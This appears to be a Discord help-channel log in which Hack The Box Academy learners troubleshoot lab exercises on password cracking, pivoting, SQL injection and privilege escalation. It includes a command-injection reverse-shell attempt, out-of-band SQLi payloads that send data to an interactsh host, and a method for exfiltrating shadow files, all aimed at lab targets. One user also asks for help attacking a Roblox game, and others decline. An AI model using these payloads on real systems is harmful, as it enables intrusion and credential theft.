#modules

1 messages · Page 121 of 1

zinc marsh
#

they are like the guided mode

rustic sage
#

oh ya i know but its a ctf

zinc marsh
proud pine
rustic sage
thorn urchin
zinc marsh
#

I had u blocked for any reason

proud pine
thorn urchin
#

was it for asking in locations you werent supposed to be asking in? like asking thm questions in htb module chat?

zinc marsh
#

"no idea"

thorn urchin
#

doubt

fathom pendant
#

A mod probably told him why or he just simply didn't read rules

#

¯_(ツ)_/¯

raven locust
#

considering the quality of his messages i presume he might genuinely not know

rustic sage
zinc marsh
rustic sage
zinc marsh
#

I think he was the only person I have blocked

thorn urchin
#

this is still offtopic and you havnt gotten the hint yet @rustic sage

#

verify your account with #welcome and access the rest of the discord

thorn urchin
#

then maybe someone will help in a more relevant channel

rustic sage
fathom pendant
raven locust
#

oh my god

thorn urchin
#

theres no example to give, these are instructions

zinc marsh
#

yea now I understand why kek

thorn urchin
#

cause right now youre just spamming this channel

fathom pendant
raven locust
# rustic sage give me a example

you need to verify your hackthebox account so that you can get access to the rest of the discord's channels & ask your question in a more suitable channel

fathom pendant
#

#welcome contains the information we are trying to give you

#

It helps to understand a server if you read its #welcome channel

zinc marsh
#

he joined the server 3 months ago

zinc marsh
fathom pendant
#

No you didn't, otherwise you would know what we're talking about on how to verify

#

At least ask in #1024429874246590575 as that's the only other channel you'll have access to until you verify, following the instructions in #welcome

rustic sage
fathom pendant
#

If you know then do it

rustic sage
raven locust
#

ahaha

fathom pendant
#

Then go do what you're busy with and stop chatting here

zinc marsh
#

now I know why I had him blocked

#

time to block him again

shut wraith
shut wraith
#

U get my drift?

rustic sage
#

life is hard

thorn urchin
#

again youre offtopic

#

this isnt a chatting channel

rustic sage
#

because im always high

thorn urchin
rustic sage
#

i didint broke the rules

#

that's such a lie for me

thorn urchin
#

spamming, and posting intoxicated

rare topaz
#

read thru his history, bro is either genuinely having trouble with english and google translating everything or high on weed

novel matrix
#

Can we please keep this channel on topic

tight mesa
#

hello guys any help would be appreciate it, I ran this command, sudo john-the-ripper.keepass2john L||xxxxx.xxxx|| > logins.hash and when run this other John command john --wordlist=~/Documents/HTB/Academy/PasswordAttack/mut_password.list logins.hash always receive this error message No password hashes loaded (see FAQ)

zinc marsh
#

I mean where is the kdbx file xd

#

u just have to run keepass2john file.kdbx > file.hash

#

john file.hash --wordlist=/path/to/wordlist

tight mesa
#

hm let me try it

tight mesa
supple sparrow
#

need sanity check for last question on Active Directory - DCSync sadglas

mild cypress
#

Just finished https://academy.hackthebox.com/module/158/section/1441

That said, during the module I was having issues finding the other hosts as I moved through things. The previous modules suggest using a one-liner for powershell (posted below) to enumerate - but it was giving me false negatives. Was hoping someone might be able to point me in the right direction for what I should have been doing there:

1..254 | % {"172.16.6.$($_): $(Test-Connection -count 1 -comp 172.15..$($_) -quiet)"}
tidal mango
supple sparrow
#

I think I retrieved the hash for the last question but HTB doesn't seem to accept it

tidal mango
#

what section is it in which module?

supple sparrow
#

Active Directory Enumeration & Attacks - DCSync

tidal mango
#

ok, I got you I think. submit the last part after : not the whole hash

supple sparrow
#

you saved my day

tidal mango
trail leaf
#

Check the arp table, write your own portscanner to run from Windows, etc.

mild cypress
#

Yeah, that's what I ended up doing. I was just curious if it's known to be inconsistent, and if there's a reason why (timeouts or something) that I'm not aware of. Thanks for the advice though @trail leaf - always appreciated 🙏

trail leaf
#

If you think through the parts of the one liner, you’re basically sending a single ping packet to each target and checking if you get a response back

#

Sometimes hosts are configured to not respond to ping, other times the connection is just unstable

tight mesa
#

@zinc marsh can I DM?

#

cuz your suggestion gave me the same results

zinc marsh
#

send the command

tight mesa
#

I'm being not able to crack the file password with john or hashcat even

tight mesa
#

hashcat -m 13400 -a 0 logins.hash ~/Documents/HTB/Academy/PasswordAttack/mut_password.list

#

I got [s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => q & if I choose [c] | [f] or [q] the password shown is not working

#

let me replicate the issue with john

zinc marsh
#

not sure if u kidding me

tight mesa
#

no man, I'm not kidding you, why I'd kidding you?

tidal mango
tight mesa
#

Lab Hard | Password Attacks

zinc marsh
zinc marsh
#

and u don't need to touch anything in hashcat

tight mesa
#

$ keepass2john Logins.kdbx > logins.hash
$ cat logins.hash
Logins:$keepass$2600000048f742ba4e....SNIP....d9a764d7b5d4e3610e1a021be2f2f1018523c065
$ /usr/sbin/john logins.hash --wordlist=~/Documents/HTB/Academy/PasswordAttack/mut_password.list
No password hashes loaded (see FAQ)

zinc marsh
#

that are the options of the menu while cracking

tidal mango
#

did you try john --wordlist=~/Documents/HTB/Academy/PasswordAttack/mut_password.list logins.hash

tight mesa
#

yup

#

same result

tidal mango
#

how did you create the hash file? that command should work fine

tight mesa
supple patio
#

I mean not "q" or "f" etc

tight mesa
#

ok.

#

give me couple of sec I'm trying to replicate eveything from a Kali VM that I have

tidal mango
#

well if I use ubuntu I get the same error, but in Kali it works fine

tight mesa
supple patio
tight mesa
fathom pendant
#

Just wait

supple patio
fathom pendant
#

Also -S isn't needed

tight mesa
supple patio
tight mesa
fathom pendant
#

Have you tried also using john

tight mesa
#

yup

fathom pendant
#

Keepass2john. Then John hash --wordlist

#

¯_(ツ)_/¯

#

I had no issues with it tbh

#

Following that line *

supple patio
tight mesa
#

I will be start with a clean slate

supple patio
#

Mb you didn't download that .kdbx file correctly

#

It also may be the reason, idk

tight mesa
#

hmm could be

plain coral
#

Password Attacks
Credential Hunting in Linux
Examine the target and find out the password of the user Will. Then, submit the password as the answer.

  1. I gained initial access via SSH using Kira's account after altering the password as indicated in the hint.
  2. I located a directory containing the files passwd.bak and shadow.bak.
  3. I successfully transferred one of the files to my attack host using the command cat passwd.bak | base64 -w 0; echo and subsequently decoded its contents.
  4. However, I encountered difficulties while attempting to transfer shadow.bak. Is it essential to have this file to proceed with cracking the hash?

I would greatly appreciate a hint. Thank you.

trail leaf
#

shadow is the important one, passwd is if you want to be extra and have a nice unshadowed file

fathom pendant
#

^

plain coral
hexed void
#

is it normal for me to only be able to post in the HTB: Academy section?

tight mesa
trail leaf
#

HTTP, SMB, FTP, SCP, etc.

#

DNS why not

tidal mango
tight mesa
#

well hashcat works in my pc unfortunately john doesn't

fathom pendant
#

Damn that's rough

manic bramble
#

where can we discuss about the boxes?

digital pewter
trail leaf
#

you'll have to verify first though, instructions in #welcome

manic bramble
#

okay thanks!

fringe shell
#

Has anyone done the Web Attacks assessment and available for a DM? I've made it into the admin account and know the vector to the flag, but no matter my payload, the server just hangs.

paper gust
#

though in your screenshot, hashcat appears to be working fine

#

the issue with* john could just be a format detection issue

fathom pendant
paper gust
#

yeah, it looks like it was just unhappy loading it automatically

#

specifying the format would probably pick it up or at least expose any underlying issues

#

like an outdated version would just give "invalid format" or similar

fathom pendant
#

It just looks like their command was off

paper gust
#

so then we'd know its an issue with john vs with the hash

#

yeah, could be that too

digital pewter
fringe shell
digital pewter
#

DM is probably better. Feel free.

foggy brook
#

Can anyone who has done the attacking common services module (DNS) DM me? I am desperate

fathom pendant
#

Are you specifying the ip.

novel shoal
#

hello bro can you help me more about passphrase or password for bitlocker?

novel shoal
fathom pendant
#

Something like that yeah

tidal mango
fathom pendant
#

I recommend naming your hashes when you do that kinda thing

novel shoal
full drum
#

Hey i'm doing the module "Windows Priv Escalation" and i'm on the page "DnsAdmins", i've completed the steps to add myself to the domain admin group, and have logged in and logged out, and run gpupdate /force. I'm still unable to get into the Admin folder for the flag, or run any of the RegEdit commands to clean up. Any help here would be much appreciated.

full drum
woven copper
#

Hi there, anyone can help with Introduction to NoSQL Injection , skill assessment 2, I just found a username but no idea which endpoint , /reset, /forgot or /login its vulnerable
I though its login because its the only one that where i can generate 500 errors using NoSQLi payloads.
thanks an advance

acoustic owl
rugged veldt
#

has there been any news about the completion of the SOC analyst path?

#

i know a new box was added yesterday, just curious to see if there are any updates

empty gyro
#

Someone has done intranet database penetration, I can't solve it, please advise

woven copper
empty gyro
acoustic owl
tidal mango
acoustic owl
rustic sage
#

Is there one for sql I’m new to htb

woven copper
#

there are a lot , from beginners to advanced

rustic sage
#

Okay

tough fern
#

Hi there, anyone can help with Introduction to NoSQL Injection , skill assessment 2, I just found a username but no idea which endpoint , /reset, /forgot or /login its vulnerable
I though its login because its the only one that where i can generate 500 errors using NoSQLi payloads.
thanks an advance

soft reef
#

Whats betters, starting with Bug Bounty Hunter path or Penetration Tester path?

acoustic owl
umbral fulcrum
#

hey guys
did some 1 had issues with "ICMP Tunneling with SOCKS" ??

torpid haven
#

In the server side attacks ssrf section for question "Replicate what you learned in this section to gain code execution on the spawned target, then look for the flag in the root directory and submit the contents as your answer." why can't we just do "curl -i -s http://10.129.212.247/load?q=file:///flag.txt"?

umbral fulcrum
#

thank U

maiden hatch
#

yo is anybody here like really good at hacking

#

?

#

bc i need somebody to take down a roblox game its pretty small

warm drift
maiden hatch
#

hell nah

#

ill get banned

proud pine
balmy rivet
dapper flax
#

Hey guys, i'm following the withebox attack and i"m doing the protoype pollution part , i need to run the web server locally using node index.js but when i try to send request i got not response from the server

balmy rivet
#

what's the output in terminal after running node index.js?

dapper flax
#

I can't paste it wtf

balmy rivet
#

maybe screenshot?

dapper flax
#

yeah i can't either

vital adder
shut wraith
#

Hi my name is Oracle
This module is overkill

I cant see my scroll bar
Read a hundred pages so far

I listen on port 1521
And I'm here to have fun

In order for me to see
I need to brute the SID

And you already know that
I will be using ODAT

To upload a shell
Does that ring any bell

WOOOORDD YOOO

latent sigil
#

Bro just dropped a rap

vital adder
#

did chatgpt write that? 🤣

shut wraith
#

When something is too boring

#

U just make a rap about it

balmy rivet
#

Where is the producer tag?

#

hmm

torpid haven
#

In the server side attacks ssrf section for question "Replicate what you learned in this section to gain code execution on the spawned target, then look for the flag in the root directory and submit the contents as your answer." why can't we just do "curl -i -s http://10.129.212.247/load?q=file:///flag.txt"?

fresh compass
#

Hi! I'm having trouble to complete the module Pivoting, Tunneling, and Port Forwarding, section RDP and SOCKS Tunneling with SocksOverRDP

#

I added the dll and then I'm trying to connect through rdp but I get this message

#

any help please?

empty gyro
#

Who can tell me what to do if I cannot access the intranet server during intranet penetration

#

i know it's stupid i'm a newbie

acoustic owl
acoustic owl
fresh compass
#

yes

#

I couldn add the dll file otherwise

civic zenith
#

EDIT: Nvm got it!

sudden flax
#

hello i'm new and i learn linux fundamental 1 question uname -a easy 2. pwd easy 3. wtf: What is the path to the htb-student's mail? i don't know comment to this task

livid pier
sudden flax
#

@livid pier I don't see it described in the module

sudden flax
#

on youtube guy use cd, cd is next page

livid pier
#

cd is a command to change your current directory

rustic sage
#

can i dm someone for Broken Authentication --> Brute Forcing Cookies

sudden flax
#

uuu

#

it is hard xd thanks

livid pier
#

you get it?

#

But yes, this is all hard at first

#

then after you do it for a while, its still hardsadglas

shut wraith
#

The Footprinting module made my ports notes HUGE

livid pier
#

I think its one of the best mods

#

I use something from it all the time

sudden flax
#

i know key so answer will be in /usr

#

htb-student but to get there

livid pier
#

Not quite

#

to get to var you can do

cd /var
sudden flax
#

ls /var/mail

#

i find mail

livid pier
#

nice, anything in there?

sudden flax
#

no

#

but i have to write /var/mail/htb-student

shut wraith
#

I think today is the day

livid pier
#

🎉

shut wraith
#

I'm finally gonna finish the Footprinting module

sudden flax
#

They should show examples of each command in use in the tutorial xd

#

4 next hard question xd

#

5 and 6 question easy 4 is hard xd

#

something about shh ?

#

Which shell is specified for the htb-student user?

livid pier
sudden flax
#

dude commend env op

livid pier
#

you dont have to put the answers in chat

sudden flax
#

ok

pearl flint
#

guys im on module pass attacks section linux pass the ticket

#

can someone help me understand how chisel and proxy works i dont get it.

#

also when i set up the whole thing i cant connect from target to my attacks host smb share

livid pier
#

Chisel and proxy are tools used for creating network tunnel

pearl flint
#

ok i got that but it forwards everything that target recieves to me or?

#

every port is forwarded or ?

dapper flax
#

Hey i'm trying to do the privesc whitebox prototype pollution module , i'm following everything , used burpsuite to send to payload but its not polluting anything

verbal kraken
#

hey, in the broken authentication module "Brute Forcing usernames" section. how am i supposed to solve the last exercise with automation?

#

i got the answer but i tried every username by hand since the list wasnt long

#

just wondering how should i automate this process

#

i tried hydra but couldn't get it to work

narrow solar
#

good day friends, i am at Web attacks chaining idor , i am trying to write a script to enumerate all users, but the curl give me rubbished output, how to fix that

leaden pond
#

I'm trying to establish a reverse shell from a Windows machine (target) back to my Pwnbox. I RDPed into the target and launched PowerShell. Back on the Pwnbox, I started a netcat listener on port 443. Then I looked at the "Reverse Shell Cheat Sheet" and saw three payloads I can put into PowerShell to get a reverse shell (the second of those three is recommended in the module section on reverse shells). When I execute the first payload, PowerShell just closes and I don't see any activity back on the PwnBox. The second payload gives me some parse errors (error messages mention expected and unexpected closing brackets/parentheses), and the third payload doesn't work either. I copied and pasted each payload directly into PowerShell and then modified the listening IP address and port number to match my netcat listener on PwnBox. What should I try next?

tidal mango
livid pier
#

Anyone finish dececting windows attacks with splunk, detecting golden tickets section?

leaden pond
tidal mango
tidal mango
tidal mango
livid pier
#

@vital adder I found it when you emojied

vital adder
#

yea congratz on competing the new module and best of luck on your SOC Analyst path

acoustic owl
# livid pier

I'm really excited to see what other modules are released in this SOC path.

tranquil axle
#

Do other hands on blue team certs exist? What does an exam on such a cert look like? Are you getting locked up for 7 days in a network and have to stop CPTS exam takers from finishing their exam and whoever finishes their goal gets the cert and the other one doesn’t?

proud pine
#

Pretty sure no certs exist that are PvP yet.

tranquil axle
#

I’d be funny, but extremely unfair and not at all comparable between attempts

acoustic owl
# tranquil axle Do other hands on blue team certs exist? What does an exam on such a cert look l...
SECURITY BLUE TEAM

Blue Team Level 1 is a practical cybersecurity certification focusing on defensive practices, security investigations, and incident handling.

OffSec

Learn the foundations of cybersecurity defense. SOC-200 is OffSec's Foundational Security Operations and Defensive Analysis course on Security Operations. Earn your OffSec Defense Analyst (OSDA) certification.

EC-Council

Certified SOC Analyst (CSA) is a training & credentialing program that helps the candidate acquire trending & in-demand cybersecurity skills. ✓CSA Certification

tranquil axle
#

24h realistic incident response exam lab sounds interesting... so many fun sounding things in this security field. Does HTB have boxes like that beyond the forensic challenge ones?

acoustic owl
#

I really hope that these labs will be made available to the community as well.

tranquil axle
#

meh, oh well, I hope it opens up with the new cert to offer more training ground

acoustic owl
#

Yes, I desperately need some experience before I jump into this exam

shut wraith
#

** Footprinting Lab - Easy**
Question:
Enumerate the server carefully and find the flag.txt file. Submit the contents of this file as the answer.

  1. Performed Nmap and found following services:
22 OpenSSH 8.2p1 Ubuntu
53 domain
2121 ProFTPD Server```
2. Connected to FTP server using provided creds
upon any command other than pwd, I get this response:
```229 Entering Extended Passive Mode (|||11591|)
150 Opening ASCII mode data connection for file list
226 Transfer complete```
So I cannot traverse or retrieve data from the ftp server...
3. Tried to connect to SSH service but I this error:
```Permission denied (publickey)```
I know that I must use either the FTP or DNS servers to retrieve the private SSH key to connect to SSH and retrieve the flag. However, I need some help regarding my errors or how I can enumerate the FTP or DNS services better.

Thank you in advance for any help.
acoustic owl
#

Read the sections in the module again. There you will learn everything you need to enumerate DNS or FTP.

shut wraith
barren apex
#

Any one able to give me a hint for:
AD Enumeration & Attacks - Skills Assessment Part I
Q5, trying to get the clear text creds, cant seem to find them

leaden pond
#

I'm working on "Automating Shells and Payloads with Metasploit" in the Shells and Payloads module. I use the same metasploit module mentioned in the HTB module and use the credentials provided by the question. I get a meterpreter session and then type "shell" as recommended in the module to get a session with more features. I'm supposed to find a Documents folder, but I can't find one. I also assumed that Metasploit would log me in as the user whose credentials I provided, but it didn't. I can't figure out how to get a session as that particular user. Any tips?

barren apex
fiery berry
#

anyone on "Windows Priv Esc ->Attacking the OS-> UAC"? I'm not getting any connection back when running SystemPropertiesAdvanced.exe when the right ".dll" is placed in the PATH where my user has write privileges. Did anyone experienced the same behaviours?

barren apex
#

Anyone know how to fix mimikatz module not found when trying to run through CME?

acoustic owl
barren apex
acoustic owl
acoustic owl
barren apex
fresh compass
#

I following the steps as said in the section but it fails when trying to connect from windows to rdp

acoustic owl
fiery berry
fresh compass
#

I have tried from my kali machine and nothing

acoustic owl
#

Then your tunnel is not built properly.

fresh compass
#

And now I am trying from the pwnbox and it doesn't work either

acoustic owl
shut wraith
#

Would really appreciate some help sir

acoustic owl
#

But these other ports....
These are FILE transfer protocols.

shut wraith
#

Im just trying to enumerate everything that is available to me

acoustic owl
#

😉

shut wraith
#

😉

upbeat dragon
#

Hello Guys, i'm struggling with Password Attack Hard lab. After succesfully mounting the .vhd file, what should I do next? i''m so stuck!!

acoustic owl
shut wraith
acoustic owl
acoustic owl
shut wraith
#

Thank u I will send u it soon

upbeat dragon
short gulch
#

"Attacking ColdFusion" Does this have some connection issues? Even with timeout with 520seconds I still cant load the page or execute script

trail leaf
acoustic owl
trail leaf
sturdy pelican
#

can someone help me with the password attacks module hard lab? i am trying to brute force the services avaible and according to the forum i am on the right path but after 2 hours i still have nothing

sturdy pelican
#

i am using the list created in the first steps of the module

acoustic owl
#

That should be correct.

sturdy pelican
#

the one with all the mutated passwords

fiery berry
# acoustic owl Try port 53 This port is in most cases open to the outside 😉

I'm always on the point to test the connection with the srrstr.dll and the test connection works. Then I have to exit from rev shell received since I have to run the SystemPropertiesAdvanced.exe which in turns will search for the paths where the malicious dll is stored. Tried to use other binaries that may do the same like SystemPropertiesProtection.exe but nothing...

upbeat dragon
#

Oh wow, got the hashes, thanks @trail leaf and @acoustic owl

acoustic owl
acoustic owl
fresh compass
#

Can dm you?

acoustic owl
verbal kraken
#

i try hydra but its giving me false positives

#

would appreciate some help

#

-38 seconds?

tender acorn
#

reatart the maschine

verbal kraken
#

can you help me with this

#

i cant solve it

#

dm?

tender acorn
#

test with burp a lot of diferett passwords to find out the rules

#

like:

#

qwerty

verbal kraken
#

i think i found the rule already

tender acorn
#

Quwerty

verbal kraken
#

i just cant get past the rate limit

tender acorn
#

min max lang and more test more

#
  1. use grep to filter the rockyou.txt (100%)
verbal kraken
#

i already did this

#

how do i brute force with this stupid rate limit that is my question?

tender acorn
#

when you not know how grep work google or chatgbt for this he is your frand

#

in burp you can set a timing

#

wait a take a screan shot

verbal kraken
tender acorn
#

reastart the module

verbal kraken
#

i did

tender acorn
#

when you use burp

#

you can use in the includer a request pool

#

set the time on that what the side says

#

youst do a few wrong logins not how manny needet and how long the wait time is

#

@verbal kraken

verbal kraken
#

i dont understand

#

i found it

#

but i wrote each password by hand

#

how shouldve i done it?

#

this room is frustrating

#

all of its exercises are frustrating

#

i need some help please

acoustic owl
#

Find out how many login attempts are allowed and then how long you have to wait.
Then use Burp or write a Python script which executes the bruteforce attack

verbal kraken
#

how would i be using burp?

#

i figured both those things out

verbal kraken
#

this would be sending a request every 5 seconds for example?

#

how do i set this up?

pine dagger
verbal kraken
#

is there a way i can send for example 5 requests then wait 30 seconds then send them again?

#

im sorry if im being annoying

pine dagger
#

You want Resource Pools under Intruder

sturdy pelican
#

can someone dm me to give me a hint for the password for J?

pine dagger
#

J what?

zinc marsh
#

hint: try harder

sturdy pelican
#

well i cant make cme run faster so i cant try harder

zinc marsh
#

well I cannot guess what module are u on sadge_business

sturdy pelican
#

oh sorry forgot to mention i was talking here earlier, im on the hard lab for password attacks

zinc marsh
#

hydra

#

mutated

#

well u can use cme but is slower

sturdy pelican
#

i have tried hydra and cme for the past 3 hours and still nothing

zinc marsh
#

what port

sturdy pelican
#

winrm for cme and rdp for hydra

pine dagger
zinc marsh
#

u doing something wrong

#

and u will need a windows vm as well for this lab

pine dagger
#

I don't think you need a VM for it

#

But you need to make sure you're using a mutated password list using the provided custom rule

#

I bruteforced it with cme using smb

zinc marsh
#

I think payloadbunny was able

pine dagger
#

Worked fine in pwnbox

zinc marsh
#

ah well I don't use pwnbox

sturdy pelican
#

i am using the right wordlist but after going through all the 55 thousand words it still did not find the right pasword

thorn urchin
#

Ive not used a windows VM in the entirety of CPTS

thorn urchin
pine dagger
#

I couldnt remember if that was for that one

fathom pendant
#

Its for like all of them tbh

thorn urchin
#

It isnt, but people will use the same list and then wonder why they cant get the answer 😉

pine dagger
#

Hrm

fathom pendant
#

But yeah

#

The right mutated password list anyway is like 96k lines

pine dagger
#

its definitely smaller 😄

#

but still massive

fathom pendant
#

So even taking out 17k is in the 70k range

#

So 55k just seems like used the wrong lists

thorn urchin
#

Point is, use the fresh full mut list for the lab

fathom pendant
#

^

pine dagger
#

🎵 Harder, better, faster, smarter! 🎵

thorn urchin
#

Ive seen that mistake like 5 times here

pine dagger
#

heh, if you search for 17000 its mentioned 65 times

sturdy pelican
zinc marsh
sturdy pelican
#

that mistake wasted 3 hours of my time

thorn urchin
#

Like I said, pretty common mistake

sturdy pelican
#

anyways thanks for the help

flint chasm
#

Hi All,
I got a problem with Splunk - Discovery & Enumeration
It's not working on port 8000 and 8089
Idk how to run this to check the version
Am I doing something wrong or maybe machine need more time?

fossil crescent
flint chasm
#

3 min?
main website is working but on those ports "The connection was reset"

#

nmap also show me those ports

#

but don't know why it's not working

fossil crescent
sturdy pelican
#
urban valley
#

for Windows Privilege Escalation Skill Assesment 1, I'm having trouble getting a reverse shell on the web app. I've|| set up netcat on my kali and I've tried various commands on the webapp line to connect back to the NC (wget, curl) (commands ive used for example: 127.0.0.1 && powershell -c 'curl http://<my tun0>:1234/' I also tried to transfer Invoke-PowershellTCP onto the target but || none seem to work

undone narwhal
undone narwhal
#

Sure

proven nimbus
cunning prairie
tight mesa
#

hello 1 qq, under Password Attack module | Lab Hard skill assessment, anyone know why the xfreerdp or Remmina not works with the credentials found in the keepass but, does work with smbclient ..!!!

tight mesa
sly kelp
trail leaf
#

Not all users that have access to SMB are guaranteed access to RDP and vice versa

tight mesa
#

hmm ok., understood, ty y'all

#

someone who rocks with Linux..?, to DM

sly kelp
#

What do you mean. ?

tight mesa
#

I'm having this issue with Linux, I made every suggestion found on the web with no success....

sly kelp
#

Send me a dm with issue and little details

tight mesa
#

python2.7 : Depends: python2.7-minimal (= 2.7.18-13ubuntu1.1) but it is not going to be installed E: Unmet dependencies. Try 'apt --fix-broken install' with no packages (or specify a solution).

fossil crescent
fossil crescent
tight mesa
fossil crescent
# tight mesa this is the result: dpkg: error processing archive /var/cache/apt/archives/pytho...

Based on that, beyond my level of knowledge... I will say that Python2 is highly deprecated... if I were in your shoes, I might look to try and get the script to work in Python3, look for something else, or install an OLD VM that had Python2 support on it... I'd also look into trying to setup a Python virtual environment... Note: I'm sure there's a better/easier/faster way, but those are all literally things I've done because of Python2 being deprecated

tight mesa
#

@fossil crescent I know Python2 is deprecated but the .py john's scripts unfortunately run in python2.7

fossil crescent
tight mesa
#

that's exactly what I'm trying

umbral umbra
#

In the Getting Started module - Nibbles Privilege Escalation section, I have gotten all the way to where I am trying to run ||monitor.sh|| with the modified code. Every time I try this (after the chmod command listed), it just spits out an error saying:
||ome/nibbler/personal/stuff/monitor.sh: 26: /home/nibbler/personal/stuff/monitor.sh: [[: not found||
||/home/nibbler/personal/stuff/monitor.sh: 36: /home/nibbler/personal/stuff/monitor.sh: [[: not found||
||/home/nibbler/personal/stuff/monitor.sh: 43: /home/nibbler/personal/stuff/monitor.sh: [[: not found||
||/home/nibbler/personal/stuff/monitor.sh: 118: /home/nibbler/personal/stuff/monitor.sh: mkfifo/tmp/f: not found||
Any way around this? I've tried resetting the box and it still happens (working in Kali because couldn't get the pwnbox to work on the reverse shell)

umbral umbra
fringe shell
#

Hey, so I was doing the Web Attacks assessment and with the ||XXE Injection|| part, the request would always just hang once I added the ||SYSTEM|| command into the ||entity||. After pulling hair, I tried it on a different different computer/network and it went through and I got the response. After more troubleshooting to figure out what was blocking the request, I found that connecting to a VPN (ExpressVPN) allowed the request to go through from my home network.

Could this be my ISP inspecting and dropping the packets with malicious code? I assume since the website is in the clear, they could easily see the request going through.

trail depot
umbral umbra
trail depot
umbral umbra
#

Without allowing me to type commands as root#

trail depot
umbral umbra
trail depot
#

no problem, ask again here tomorrow then

umbral umbra
tight mesa
#

hey guys, I'm stuck in the hard lab from Password attack module, I've already the .vhd file but, I'm not able to mount..!!!

#

not quite sure if the file is protected and, if it is, not sure how to extract the hash either..!!!

#

any hint would be good appreciate it

cunning prairie
tight mesa
#

no cuz I don't know how to do it....

#

I review the module but unfortunately I didn't find anything related to vhd files

#

unless I'm missing something

cunning prairie
tight mesa
#

sweet

fringe shell
languid ginkgo
#

Hi,
In Blind SQL Injection->Out-of-Band DNS
I start interactsh-client, it's works well with curl (I receive the requests and subdomains)
In burp I send this request like in the example to test if it's works:
GET GET /api/check-username.php?u=maria'%3bDECLARE+%40T+VARCHAR(1024)%3b+SELECT+%40T%3d(SELECT+1234)%3b+SELECT+*+FROM+fn_trace_gettable('\\'%2b%40T%2b'.blindsqli.academy.htb\x.trc',DEFAULT)%3b--%2b-
I have replace blindsqli.academy.htb by my DNS but it's doesn't work.
Anyone can help me just for the example please

languid ginkgo
# acoustic owl Check the Header

Sorry it's:

GET /api/check-username.php?u=maria'%3bDECLARE+%40T+VARCHAR(1024)%3b+SELECT+%40T%3d(SELECT+1234)%3b+SELECT+*+FROM+fn_trace_gettable('\\'%2b%40T%2b'.blindsqli.academy.htb\x.trc',DEFAULT)%3b--%2b-```
languid ginkgo
acoustic owl
#

What exactly do you mean by "i have replace"?
You have to make an entry in the DNS zone on the server.
The module describes how to do it

modern falcon
#

Can someone give me hint on the answer format of this question? DOCUMENTATION & REPORTING > Types of Reports

languid ginkgo
#

OR with https://app.interactsh.com/#/ like:

GET /api/check-username.php?u=maria'%3bDECLARE+%40T+VARCHAR(1024)%3b+SELECT+%40T%3d(SELECT+1234)%3b+SELECT+*+FROM+fn_trace_gettable('\\'%2b%40T%2b'.ckjrd6c2vtc0000m2z2ggj3cgucyyyyyb.oast.fun\x.trc',DEFAULT)%3b--%2b-
tranquil axle
acoustic owl
languid ginkgo
acoustic owl
tulip parrot
#

I have the same problem, any help ?

rustic sage
zinc thunder
#

Hey!
i'm currently stuck at "Running SQLMap on an HTTP Request" case3. any hints here would be nice

tulip parrot
#

did u figure it out ?

rustic sage
#

yess im about to complete cpts path 🙂

#

dm me

quick magnet
#

have u solve this ?

vital adder
#

what's the issue?

viral slate
#

Hi everyone!
Currently on Attacking common services - easy section.
Got credentials. Found out where I should upload reverse shell.
But any attempts to create a file causes MariaDB syntax error(" symbol)

Update: nvm guys, found out a way how to solve it

quick magnet
vital adder
#

so you got used password? just get the got used hash and crack that

royal juniper
#

guys when im gonna do python what program should i use?

acoustic owl
royal juniper
#

Okay

quick magnet
zinc thunder
#

could someone help with "SQLMAP ESSENTIALS" "Running SQLMap on an HTTP RequestRunning". please send me a DM.
would have appreciated it

quick magnet
vagrant oasis
#

how do I do the first lesson with the target what do I do with the ip and port?

acoustic owl
fickle cradle
vagrant oasis
fickle cradle
vagrant oasis
fickle cradle
#

in VM?

vagrant oasis
#

ye

fickle cradle
#

strange

#

usually, it congrats you and give you the proof

vagrant oasis
#

ye it just says unable to connect

fickle cradle
#

umm, i mean i can tell you the proof

#

to clear your quiz

vagrant oasis
#

I wanna fix it tho so it doesn't cause further problems

fickle cradle
#

should i?

vagrant oasis
#

sure

vagrant oasis
zinc thunder
#

should i get a input field @ https://x.x.x.x:xxxxx/case3.php in the "Running SQLMap on an HTTP Request" part of sql essentials module?

flat silo
#

Ok so I'm working on the file upload module assessment I've figured out how to extract information but I'm unsure of how to leverage it all can someone please help me

vagrant oasis
#

i need help i cant connect to the ip and pord on firefox in the workstation

fiery berry
shut wraith
vagrant oasis
fiery berry
shut wraith
#

It's quite long so I'll DM you

misty mural
#

Pardon these questions as I’m not certain how to phrase them.

When Academy asks me to install tools from git, I’ve been cloning them into my home directory.

My questions are:
Is this best practice, or would an expert store these tools differently?

When there are updates to the repo, how would I ask my machine to update packages cloned from git?

flat silo
#

I'm still fairly new, I've only been studying this for 1.5 years, but before I paid the extra for VIP I had a dedicated directory for HTB on my Kali instance. Idk if it's best practice but I felt it helped keep my things more organized.
It looks like using the 'git pull' command will update packages

high reef
#

morning hackers

#

i'm doing the attacking the common services module

#

doing the ftp currently

#

i'm running the medua command but ftp isn't on the traditional port

high reef
#

i did -n (port#) at the end of command but its till not working any hints ?

high reef
fiery berry
# high reef ok

that is a short way to bypass the problem cause I haven't use medusa but I'll have a look and see why isn't working

high reef
elfin cedar
#

I am trying all the formats and URL encoding. I know the answer but why does it keep saying invalid input?

#

and you know whats crazy, the answer is capitalized for both words, and in the question its not, its ridiculous

raven locust
#

question out of curiosity, what do people use for notetaking?

#

that is, taking notes of academy stuff rather than findings doing a box etc

elfin cedar
#

I use Obsidian, I hear cherrytree is another good one

high reef
#

so yea, w.e you put in cherrytree make ure obsidan has a breakup just in case

winged atlas
#

what is hack the box?

vital adder
elfin cedar
#

hey tryhacks01

#

I messed up my kali before but I was able to recover my Obsidian notes

winged atlas
elfin cedar
#

@high reef are you able to get to the login screen?

winged atlas
high reef
elfin cedar
#

ahhhh

#

thats what made me setup the obsidian sync thing, well at least the google drive way

high reef
raven locust
#

how did you end up here @winged atlas

winged atlas
#

idk i'm into cybersecurity

#

lol i know it

elfin cedar
#

did you figure out what Obsidian is yet? @winged atlas

winged atlas
#

i know real obsidian

#

don't tell me it's a swoftware?

high reef
#

if your looking to learn cybersecurity for free. this isn't the place

high reef
#

we all have paid memberships

winged atlas
high reef
#

for academy or the machines

#

HTB discord is fee tho

#

but we are all learning on some path

vital adder
winged atlas
high reef
vital adder
vital adder
winged atlas
vital adder
#

you don't need cs for hacking

#

it's on you whether or not you want to do it

winged atlas
vital adder
#

at this day and age of Fing course cs is free 🤣

winged atlas
vital adder
#

cs is boring but hacking is fun but most of the time hell

winged atlas
#

i don't love cs but it's free and maybe who know the future

vital adder
high reef
elfin cedar
#

It's free if you install the Google drive desktop app

#

I have my notes on Windows

#

Well now I do lol

high reef
#

lol

#

